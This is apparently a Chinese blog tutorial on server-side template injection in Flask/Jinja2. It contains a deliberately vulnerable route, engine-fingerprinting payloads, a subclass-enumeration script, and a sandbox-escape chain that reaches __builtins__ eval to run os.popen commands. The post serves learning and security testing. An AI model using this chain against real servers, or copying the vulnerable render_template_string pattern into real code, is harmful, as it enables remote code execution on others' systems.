这个部分之前一直只会生搬硬套,其实到底是什么回事都不太清楚,这次查了很多资料,尽可能把这部分内容详细整理一下。
暂不完善,后续会逐步补充内容。
SSTI即服务端模板注入,大致可以理解为:模板在渲染页面时,没有对用户输入进行合适的处理,导致一部分恶意输入被渲染引擎当作程序的一部分,从而改变了程序原本的运行逻辑。
以flask模块为例,现有以下代码:
import flask
app = flask.Flask(__name__)
@app.route('/')
def func():
return 'test
'
if __name__ == '__main__':
app.run(debug=True)
在控制台运行以后,访问127.0.0.1:5000
(默认端口5000),页面如下:
其实这就是flask搭建起来的最简单的页面。代码中的'
会被当作HTML文本解析。test
'
除了输出固定内容,flask当然也支持输入输出的交互,而模板注入的安全问题也就出在这里。
比如有如下代码,可以实现get
方式输入:
@app.route('/test')
def test():
ipt = flask.request.args.get('input')
html = ' %s ' % ipt
return flask.render_template_string(html)
访问URLhttp://127.0.0.1:5000/test?input=test
发现输出了输入的内容。
这里不得不提到flask模块的两种渲染方法:
渲染方式 | 描述 |
---|---|
render_template |
渲染指定文件内容 |
render_template_string |
渲染一个字符串 |
至于渲染方法,以第二个函数为例,来看一个最简单的例子:
@app.route('/test')
def test():
html = '{{12*12}}'
return flask.render_template_string(html)
页面输出为:
发现{{ --- }}
其中的语句被执行了。
这是因为在flask中,渲染引擎(Jinja2
)会将{{ --- }}
视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行。
那么,在上一段代码中,如果我们传入的参数内容为{{ --- }}
包裹的代码,这些代码就会被执行。
这就是一个最简单的SSTI漏洞。
在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功。
比如:
即使在服务器端将os
包含进来,但是在渲染时仍然会出现这个错误,这就是因为沙盒机制严格地限制了程序的行为。
跳脱这些限制也就是沙盒逃逸。
至于沙盒逃逸的原理,需要引入一些关于python面向对象部分的知识来解释。
python提供了很多在任意模块中都可以使用的函数,这些函数称为内建方法。在模块__builtins__
中,存放着这些内建方法。
构建代码:
print(__builtins__.len('123'))
print(len('123'))
运行,输出均为3
。
所以,只要找到__builtins__
的路径,即可使用所有内建方法。
魔术方法本身是不需要主动调用的,但在沙盒逃逸中,必须手动使用很多内建魔术方法来达到目的。
方法 | 描述 |
---|---|
__class__ |
返回对象所属的类 |
__init__ |
类的初始化方法 |
__bases__ /__mro__ |
返回该类型的所有父类 |
__subclasses__ |
返回继承该类的所有可用子类 |
__globals__ |
返回当前位置所有可用的全部全局变量的字典 引用 |
在python中的一切都是对象,而这些对象所属的类往往存在各种继承关系。沙盒逃逸借助的主要是各个类之间的继承关系。在python中,所有的新式类都是由基类object
派生而来。因此,我们可以从任何一个数据回溯到基类object
中,再找到object
所派生出的任何类,从而实现这些类的方法。
根据上文介绍的这些内容,沙盒逃逸的原理可以这样描述:
服务端使用的各种引擎支持的语法是不同的,所以在找到SSTI注入点之后,首先应当判断模板所使用的渲染引擎。
通常可以使用以下payload来简单测试:
其中绿色为执行成功,红色为执行失败。另:{{7*'7'}}
在Twig中返回49,在Jinja2中返回77777777。
(图源 侵删)
python2和python3的利用方式是不一样的,因为两者环境差异可以说是十分巨大。
鉴于网上搜到的大部分是在python2环境,这里把python3中常用的利用方式说一下。
在python2中,沙盒逃逸常用的一些利用方式是从file
等类型入手,然后进行下一步操作。但在python3中,主要是通过对__builtins__
中eval()
open()
__import__()
等函数的利用来达成目的。
贴一个简易脚本,这个脚本用于查找object
哪些子类含有__builtins__
。
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if '__builtins__' in item.__init__.__globals__.keys():
print("+",num,item)
num += 1
except:
num += 1
这里跑出来的结果如下:
+ 75 <class '_frozen_importlib._ModuleLock'>
+ 76 <class '_frozen_importlib._DummyModuleLock'>
+ 77 <class '_frozen_importlib._ModuleLockManager'>
+ 78 <class '_frozen_importlib._installed_safely'>
+ 79 <class '_frozen_importlib.ModuleSpec'>
+ 91 <class '_frozen_importlib_external.FileLoader'>
+ 92 <class '_frozen_importlib_external._NamespacePath'>
+ 93 <class '_frozen_importlib_external._NamespaceLoader'>
+ 95 <class '_frozen_importlib_external.FileFinder'>
+ 103 <class 'codecs.IncrementalEncoder'>
+ 104 <class 'codecs.IncrementalDecoder'>
+ 105 <class 'codecs.StreamReaderWriter'>
+ 106 <class 'codecs.StreamRecoder'>
+ 128 <class 'os._wrap_close'>
+ 129 <class '_sitebuiltins.Quitter'>
+ 130 <class '_sitebuiltins._Printer'>
随机找一个测试一下跑出来的是否有效:
print(''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()'))
控制台输出如下:
成功执行控制台命令。
找到__builtins__
之后,操作姿势就很开放了,实战中,可能需要更复杂,更隐晦的调用方式,这里就先不再多说了。
(本文为个人整理,如有错误欢迎指正。)